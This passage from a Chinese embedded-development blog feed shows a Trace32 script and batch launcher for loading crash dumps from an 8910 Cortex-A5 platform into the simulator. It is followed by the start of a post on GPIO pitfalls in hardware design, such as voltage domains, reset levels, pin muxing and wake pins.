<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span><span class="lnt">67
</span><span class="lnt">68
</span><span class="lnt">69
</span><span class="lnt">70
</span><span class="lnt">71
</span><span class="lnt">72
</span><span class="lnt">73
</span><span class="lnt">74
</span><span class="lnt">75
</span><span class="lnt">76
</span><span class="lnt">77
</span><span class="lnt">78
</span><span class="lnt">79
</span><span class="lnt">80
</span><span class="lnt">81
</span><span class="lnt">82
</span><span class="lnt">83
</span><span class="lnt">84
</span><span class="lnt">85
</span><span class="lnt">86
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="p">;</span> <span class="n">ARM</span> <span class="nb">load</span> <span class="n">script</span>
</span></span><span class="line"><span class="cl"><span class="n">screen</span><span class="o">.</span><span class="n">on</span>
</span></span><span class="line"><span class="cl"><span class="n">SYStem</span><span class="o">.</span><span class="n">RESet</span>
</span></span><span class="line"><span class="cl"><span class="n">SYStem</span><span class="o">.</span><span class="n">CPU</span> <span class="n">Cortexa5</span>
</span></span><span class="line"><span class="cl"><span class="n">SYStem</span><span class="o">.</span><span class="n">Up</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">&amp;</span><span class="n">psd</span><span class="o">=</span><span class="n">os</span><span class="o">.</span><span class="n">psd</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="o">&amp;</span><span class="n">dump_dir</span><span class="o">=</span><span class="s2">&#34;8910dump&#34;</span>
</span></span><span class="line"><span class="cl"><span class="o">&amp;</span><span class="n">ap_elf_file</span><span class="o">=</span><span class="s2">&#34;app.elf&#34;</span>
</span></span><span class="line"><span class="cl"><span class="o">&amp;</span><span class="n">cp_elf_file</span><span class="o">=</span><span class="s2">&#34;8915DM_cat1_open.elf&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">ELF</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="o">&amp;</span><span class="n">ap_elf_file</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">ELF</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="o">&amp;</span><span class="n">cp_elf_file</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">80000000.</span><span class="n">bin</span> <span class="mh">0x80000000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">00000000.</span><span class="n">bin</span> <span class="mh">0x0</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">00800000.</span><span class="n">bin</span> <span class="mh">0x800000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">40080000.</span><span class="n">bin</span> <span class="mh">0x40080000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">50000000.</span><span class="n">bin</span> <span class="mh">0x50000000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">50030000.</span><span class="n">bin</span> <span class="mh">0x50030000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">50080000.</span><span class="n">bin</span> <span class="mh">0x50080000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">50081000.</span><span class="n">bin</span> <span class="mh">0x50081000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">50083000.</span><span class="n">bin</span> <span class="mh">0x50083000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">50084000.</span><span class="n">bin</span> <span class="mh">0x50084000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">50090000.</span><span class="n">bin</span> <span class="mh">0x50090000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">50094000.</span><span class="n">bin</span> <span class="mh">0x50094000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mi">500</span><span class="n">a0000</span><span class="o">.</span><span class="n">bin</span> <span class="mh">0x500a0000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">50100000.</span><span class="n">bin</span> <span class="mh">0x50100000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">50104000.</span><span class="n">bin</span> <span class="mh">0x50104000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">50105000.</span><span class="n">bin</span> <span class="mh">0x50105000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">50109000.</span><span class="n">bin</span> <span class="mh">0x50109000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mi">5010</span><span class="n">a004</span><span class="o">.</span><span class="n">bin</span> <span class="mh">0x5010a004</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mi">5010</span><span class="n">c000</span><span class="o">.</span><span class="n">bin</span> <span class="mh">0x5010c000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">50308000.</span><span class="n">bin</span> <span class="mh">0x50308000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">08800000.</span><span class="n">bin</span> <span class="mh">0x8800000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">08800800.</span><span class="n">bin</span> <span class="mh">0x8800800</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">08808000.</span><span class="n">bin</span> <span class="mh">0x8808000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">08809000.</span><span class="n">bin</span> <span class="mh">0x8809000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">0880e000</span><span class="o">.</span><span class="n">bin</span> <span class="mh">0x880e000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mi">0880</span><span class="n">f004</span><span class="o">.</span><span class="n">bin</span> <span class="mh">0x880f004</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">08814000.</span><span class="n">bin</span> <span class="mh">0x8814000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">08815000.</span><span class="n">bin</span> <span class="mh">0x8815000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">09000000.</span><span class="n">bin</span> <span class="mh">0x9000000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mi">090</span><span class="n">c0000</span><span class="o">.</span><span class="n">bin</span> <span class="mh">0x90c0000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">25000000.</span><span class="n">bin</span> <span class="mh">0x25000000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">25100000.</span><span class="n">bin</span> <span class="mh">0x25100000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">25200000.</span><span class="n">bin</span> <span class="mh">0x25200000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">25300000.</span><span class="n">bin</span> <span class="mh">0x25300000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">25400000.</span><span class="n">bin</span> <span class="mh">0x25400000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">25500000.</span><span class="n">bin</span> <span class="mh">0x25500000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">25600000.</span><span class="n">bin</span> <span class="mh">0x25600000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">25700000.</span><span class="n">bin</span> <span class="mh">0x25700000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">25800000.</span><span class="n">bin</span> <span class="mh">0x25800000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">25900000.</span><span class="n">bin</span> <span class="mh">0x25900000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mi">25</span><span class="n">a00000</span><span class="o">.</span><span class="n">bin</span> <span class="mh">0x25a00000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mi">25</span><span class="n">b00000</span><span class="o">.</span><span class="n">bin</span> <span class="mh">0x25b00000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">26000000.</span><span class="n">bin</span> <span class="mh">0x26000000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">26000800.</span><span class="n">bin</span> <span class="mh">0x26000800</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mf">27000000.</span><span class="n">bin</span> <span class="mh">0x27000000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl"><span class="n">DATA</span><span class="o">.</span><span class="n">LOAD</span><span class="o">.</span><span class="n">BINARY</span> <span class="o">&amp;</span><span class="n">dump_dir</span>\<span class="mi">400</span><span class="n">a0000</span><span class="o">.</span><span class="n">bin</span> <span class="mh">0x400a0000</span> <span class="o">/</span><span class="n">NOCLEAR</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">Register</span><span class="o">.</span><span class="n">Set</span> <span class="n">cpsr</span> <span class="n">Data</span><span class="o">.</span><span class="n">Long</span><span class="p">(</span><span class="n">D</span><span class="p">:</span><span class="mh">0x8017c4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Register</span><span class="o">.</span><span class="n">Set</span> <span class="n">r0</span> <span class="n">Data</span><span class="o">.</span><span class="n">Long</span><span class="p">(</span><span class="n">D</span><span class="p">:</span><span class="mh">0x8017cc</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Register</span><span class="o">.</span><span class="n">Set</span> <span class="n">r1</span> <span class="n">Data</span><span class="o">.</span><span class="n">Long</span><span class="p">(</span><span class="n">D</span><span class="p">:</span><span class="mh">0x8017d0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Register</span><span class="o">.</span><span class="n">Set</span> <span class="n">r2</span> <span class="n">Data</span><span class="o">.</span><span class="n">Long</span><span class="p">(</span><span class="n">D</span><span class="p">:</span><span class="mh">0x8017d4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Register</span><span class="o">.</span><span class="n">Set</span> <span class="n">r3</span> <span class="n">Data</span><span class="o">.</span><span class="n">Long</span><span class="p">(</span><span class="n">D</span><span class="p">:</span><span class="mh">0x8017d8</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Register</span><span class="o">.</span><span class="n">Set</span> <span class="n">r4</span> <span class="n">Data</span><span class="o">.</span><span class="n">Long</span><span class="p">(</span><span class="n">D</span><span class="p">:</span><span class="mh">0x8017dc</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Register</span><span class="o">.</span><span class="n">Set</span> <span class="n">r5</span> <span class="n">Data</span><span class="o">.</span><span class="n">Long</span><span class="p">(</span><span class="n">D</span><span class="p">:</span><span class="mh">0x8017e0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Register</span><span class="o">.</span><span class="n">Set</span> <span class="n">r6</span> <span class="n">Data</span><span class="o">.</span><span class="n">Long</span><span class="p">(</span><span class="n">D</span><span class="p">:</span><span class="mh">0x8017e4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Register</span><span class="o">.</span><span class="n">Set</span> <span class="n">r7</span> <span class="n">Data</span><span class="o">.</span><span class="n">Long</span><span class="p">(</span><span class="n">D</span><span class="p">:</span><span class="mh">0x8017e8</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Register</span><span class="o">.</span><span class="n">Set</span> <span class="n">r8</span> <span class="n">Data</span><span class="o">.</span><span class="n">Long</span><span class="p">(</span><span class="n">D</span><span class="p">:</span><span class="mh">0x8017ec</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Register</span><span class="o">.</span><span class="n">Set</span> <span class="n">r9</span> <span class="n">Data</span><span class="o">.</span><span class="n">Long</span><span class="p">(</span><span class="n">D</span><span class="p">:</span><span class="mh">0x8017f0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Register</span><span class="o">.</span><span class="n">Set</span> <span class="n">r10</span> <span class="n">Data</span><span class="o">.</span><span class="n">Long</span><span class="p">(</span><span class="n">D</span><span class="p">:</span><span class="mh">0x8017f4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Register</span><span class="o">.</span><span class="n">Set</span> <span class="n">r11</span> <span class="n">Data</span><span class="o">.</span><span class="n">Long</span><span class="p">(</span><span class="n">D</span><span class="p">:</span><span class="mh">0x8017f8</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Register</span><span class="o">.</span><span class="n">Set</span> <span class="n">r12</span> <span class="n">Data</span><span class="o">.</span><span class="n">Long</span><span class="p">(</span><span class="n">D</span><span class="p">:</span><span class="mh">0x8017fc</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Register</span><span class="o">.</span><span class="n">Set</span> <span class="n">r13</span> <span class="n">Data</span><span class="o">.</span><span class="n">Long</span><span class="p">(</span><span class="n">D</span><span class="p">:</span><span class="mh">0x8017b8</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Register</span><span class="o">.</span><span class="n">Set</span> <span class="n">r14</span> <span class="n">Data</span><span class="o">.</span><span class="n">Long</span><span class="p">(</span><span class="n">D</span><span class="p">:</span><span class="mh">0x8017bc</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Register</span><span class="o">.</span><span class="n">Set</span> <span class="n">pc</span> <span class="n">Data</span><span class="o">.</span><span class="n">Long</span><span class="p">(</span><span class="n">D</span><span class="p">:</span><span class="mh">0x8017c8</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Register</span><span class="o">.</span><span class="n">Set</span> <span class="n">spsr</span> <span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">MENU</span><span class="o">.</span><span class="n">REPROGRAM</span> <span class="o">&amp;</span><span class="n">psd</span>\<span class="n">freertos</span>\<span class="n">freertos</span><span class="o">.</span><span class="n">men</span>
</span></span><span class="line"><span class="cl"><span class="n">TASK</span><span class="o">.</span><span class="n">CONFIG</span> <span class="o">&amp;</span><span class="n">psd</span>\<span class="n">freertos</span>\<span class="n">freertos</span><span class="o">.</span><span class="n">t32</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">B</span><span class="p">::</span><span class="n">Var</span><span class="o">.</span><span class="n">Frame</span> <span class="o">/</span><span class="n">Locals</span> <span class="o">/</span><span class="n">Caller</span>
</span></span><span class="line"><span class="cl"><span class="n">B</span><span class="p">::</span><span class="n">Register</span>
</span></span><span class="line"><span class="cl"><span class="n">B</span><span class="p">::</span><span class="n">Data</span><span class="o">.</span><span class="n">List</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>再编写启动脚本 T32_8910_ap.bat，工具配置就完成了。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bat" data-lang="bat"><span class="line"><span class="cl"><span class="p">@</span><span class="k">echo</span> off
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">echo</span> Load Trace32
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">start</span> t32marm.exe -c config.t32, 8910_ap.cmm <span class="p">&amp;</span>
</span></span></code></pre></td></tr></table>
</div>
</div></li>
</ol>
<h2 id="使用-trace32-simulators">使用 Trace32 Simulators</h2>
<p>将死机导出的 dump 、 elf 文件复制到 8910dump 目录，双击 T32_8910_ap.bat 脚本，启动 t32 和加载解析 dump。在 Trace32 界面的最终效果如下图：</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230401203205354.au4pooan13c.png" alt=""  />
</p>
<h2 id="总结">总结</h2>
<p>本文介绍了 Trace32 离线 dump 分析环境的搭建方法步骤，目的是了解这个过程，后续也考虑如何将这种调试分析方法迁移到其他平台。如果还有其他问题，欢迎评论留言。</p>
]]></content:encoded>
    </item>
    <item>
      <title>一些 GPIO 相关的应用经验总结</title>
      <link>https://hacperme.com/posts/notes/gpio_notes/</link>
      <pubDate>Fri, 17 Mar 2023 15:53:24 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/gpio_notes/</guid>
      <description>总结一些关于在硬件选型和设计过程中 GPIO 相关的应用经验，避免踩坑</description>
      <content:encoded><![CDATA[<p>总结一些关于在硬件选型和设计过程中 GPIO 相关的应用经验，避免踩坑。</p>
<ol>
<li>
<p>注意原理图上引脚号与 GPIO 号之间的对应关系</p>
<p>原理图上的引脚号和GPIO号不一定是一一对应的，比如 pin 53 对应的是GPIO1，软件上操作这个引脚的时候是操作 53 还是 1呢，应留意这个软硬件对应关系。</p>
</li>
<li>
<p>注意引脚的电压域</p>
<p>有些引脚的io电平是1.8v，也有些引脚的io电平是3.0v，还有些引脚的io电平可以配置。接外部器件的时候，应注意引脚的io电平是否匹配。</p>
<p>此外还要留意引脚所属的电压域，比如，软件上将一个可调电压域的电压从1.8v改为3.3v，通过属于这个电压域的所有引脚io电平都会被修改，应注意这个改动的影响。</p>
<p>另外，设备在不同的开机运行阶段、比如在bootloader，在kernel、在app，在某些阶段有些电压域的电源并非都是打开的，如果出现io无法控制、外接器件无法通信，也可以从电压域的方向排查一下是否电源没有使能供电。</p>
</li>
<li>
<p>注意引脚的复位电平</p>
<p>有些引脚在上电复位的电平是高、有些是低、还有一些是出于不稳定状态，这可能在软件上是无法修改的，所以，在评估使用引脚做什么功能的时候，也需要留意引脚的复位电平。比如选取某个引脚用来控制指示灯，要求开机启动过程指示灯是保持灭的，但如果不小心选择了一个复位是高电平的引脚（假设高电平控制灯亮），那么就会出现开机指示灯闪烁一下的问题，要解决一般也就只能硬件改版了。</p>
</li>
<li>
<p>注意引脚的复用功能</p>
<p>以GPIO功能为例，假设 pin 11 可以复用为GPIO1，pin 44 也可以复用为GPIO1，那么如果二者都设置为GPIO1功能，则会出现复用功能冲突，导致功能失效，应将另一个引脚复用为其他功能。相同的，复用成其他功能（i2c 、 spi、sdio 等）时，也应考虑引脚功能复用冲突的情况。</p>
</li>
<li>
<p>注意引脚在系统休眠唤醒过程的行为</p>
<p>在某些平台上为了待机降低功耗，在系统休眠的时候会关闭某些电压域电源，唤醒之后再恢复，或者在休眠的时候会强制拉低某些引脚，唤醒之后再恢复，在评估选取引脚做某些功能的时候，比如按键、指示灯，应注意这个特性是否会对功能造成影响。</p>
</li>
<li>
<p>注意引脚的驱动能力</p>
<p>某些平台引脚的输出驱动能力是可调节的，比如遇到spi 或者其他功能输出的信号电平波形变形、或者有干扰、可以尝试通过软件修改一下引脚的驱动能力来改善类似问题。</p>
</li>
<li>
<p>注意唤醒脚</p>
<p>有些平台只有特定的引脚具备唤醒能力，如果需要外部唤醒正处于deep sleep状态，或者是处于psm关机状态的设备，需要留意是否只有特定的引脚才支持次功能。</p>
</li>
</ol>
<p>在硬件原理图设计完成之后，建议输出一个 GPIO list，内容可以参考下面的表格:</p>
<table>
<thead>
<tr>
<th>引脚编号</th>
<th>引脚名称</th>
<th>电压域</th>
